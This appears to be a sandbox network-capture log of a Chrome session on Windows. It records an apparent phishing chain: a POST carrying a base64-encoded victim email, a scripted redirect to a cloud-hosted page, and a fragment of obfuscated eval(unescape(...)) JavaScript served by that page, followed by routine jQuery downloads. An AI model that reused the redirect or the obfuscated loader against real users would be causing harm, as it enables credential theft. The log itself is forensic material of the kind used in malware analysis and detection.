71	192.168.2.17	49815	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:20 UTC	953	OUT	POST /QlS4h/?x=YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1 Host: smsfrica.com Connection: keep-alive Content-Length: 2233 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://smsfrica.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=dd3dfc76f6668abfca64a9ad1535394a
2024-03-15 12:59:20 UTC	2233	OUT	Data Raw: 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 3d 30 33 41 46 63 57 65 41 34 6c 58 46 75 32 79 66 58 63 31 2d 4b 64 74 44 63 6c 38 59 32 4e 53 38 70 4c 71 79 49 31 45 65 37 62 74 41 54 74 45 4a 41 67 71 44 48 6b 31 4b 72 59 5f 47 6b 42 6c 46 42 70 64 68 71 4f 41 55 65 4a 44 73 73 33 45 76 37 31 41 65 72 68 56 61 63 31 51 52 6f 6b 4a 47 51 43 36 51 38 43 50 31 62 73 44 79 46 63 49 7a 57 42 35 59 39 67 6d 7a 6a 45 69 5f 69 51 41 58 4d 4f 77 61 73 72 54 6f 31 64 69 44 6f 51 57 6a 43 6a 48 4f 4a 67 77 53 4e 55 61 6d 7a 51 6f 5f 79 4d 4c 62 61 62 38 44 67 79 39 67 64 6c 41 57 70 44 56 6e 31 6b 49 55 41 57 35 6f 65 4b 32 76 45 46 38 38 46 35 4b 52 78 70 42 37 66 71 7a 72 48 6d 4d 48 36 31 44 45 43 46 70 77 4f 56 47 4f 5a 48 57 6d 4b 4e 6f 4d 68 79 Data Ascii: g-recaptcha-response=03AFcWeA4lXFu2yfXc1-KdtDcl8Y2NS8pLqyI1Ee7btATtEJAgqDHk1KrY_GkBlFBpdhqOAUeJDss3Ev71AerhVac1QRokJGQC6Q8CP1bsDyFcIzWB5Y9gmzjEi_iQAXMOwasrTo1diDoQWjCjHOJgwSNUamzQo_yMLbab8Dgy9gdlAWpDVn1kIUAW5oeK2vEF88F5KRxpB7fqzrHmMH61DECFpwOVGOZHWmKNoMhy
2024-03-15 12:59:20 UTC	318	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:20 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-03-15 12:59:20 UTC	174	IN	Data Raw: 61 33 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 77 66 6b 68 30 33 74 65 76 2d 31 33 32 34 38 33 39 36 30 38 2e 63 6f 73 2e 73 61 2d 73 61 6f 70 61 75 6c 6f 2e 6d 79 71 63 6c 6f 75 64 2e 63 6f 6d 2f 6e 77 66 6b 68 30 33 74 65 76 2e 68 74 6d 6c 3f 65 3d 61 6d 72 6f 6d 61 6e 6f 40 73 74 65 69 6e 62 6f 72 6e 2e 63 6f 6d 22 3c 2f 73 63 72 69 70 74 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a3<script type="text/javascript">window.location.href="https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/nwfkh03tev.html?e=amromano@steinborn.com"</script>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.17	49820	43.157.144.205	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:21 UTC	751	OUT	GET /nwfkh03tev.html?e=amromano@steinborn.com HTTP/1.1 Host: nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://smsfrica.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:23 UTC	355	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7450 Connection: close Accept-Ranges: bytes Date: Fri, 15 Mar 2024 12:59:23 GMT ETag: "2c66771f77b40a8172c3685c8481fd75" Last-Modified: Fri, 08 Mar 2024 14:33:39 GMT Server: tencent-cos x-cos-hash-crc64ecma: 938397410802603198 x-cos-request-id: NjVmNDQ2MjlfNjQ0YzU5MGJfOWY2NF82MGZjYjU4
2024-03-15 12:59:23 UTC	7450	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 3c 21 2d 2d 20 0d 0a 65 76 61 6c 28 75 6e 65 73 63 61 70 65 28 27 25 36 36 25 37 35 25 36 65 25 36 33 25 37 34 25 36 39 25 36 66 25 36 65 25 32 30 25 37 35 25 33 30 25 33 37 25 33 33 25 33 30 25 33 31 25 33 31 25 33 30 25 33 30 25 36 32 25 32 38 25 37 33 25 32 39 25 32 30 25 37 62 25 30 61 25 30 39 25 37 36 25 36 31 25 37 32 25 32 30 25 37 32 25 32 30 25 33 64 25 32 30 25 32 32 25 32 32 25 33 62 25 30 61 25 30 39 25 37 36 25 36 31 25 37 32 25 32 30 25 37 34 25 36 64 25 37 30 25 32 30 25 33 64 25 32 30 25 37 33 25 32 65 25 37 33 25 37 30 25 36 63 25 36 39 Data Ascii: <html><head></head><body><script type="text/javascript">... eval(unescape('%66%75%6e%63%74%69%6f%6e%20%75%30%37%33%30%31%31%30%30%62%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	49823	151.101.130.137	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:23 UTC	656	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:23 UTC	562	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 15 Mar 2024 12:59:23 GMT Age: 2607369 X-Served-By: cache-lga21947-LGA, cache-ewr18125-EWR X-Cache: HIT, HIT X-Cache-Hits: 164, 12 X-Timer: S1710507564.905944,VS0,VE0 Vary: Accept-Encoding
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.17	49824	151.101.130.137	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:23 UTC	717	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:23 UTC	561	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 15 Mar 2024 12:59:23 GMT Age: 1295539 X-Served-By: cache-lga21980-LGA, cache-ewr18165-EWR X-Cache: HIT, HIT X-Cache-Hits: 98, 1 X-Timer: S1710507564.910793,VS0,VE2 Vary: Accept-Encoding
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-03-15 12:59:23 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
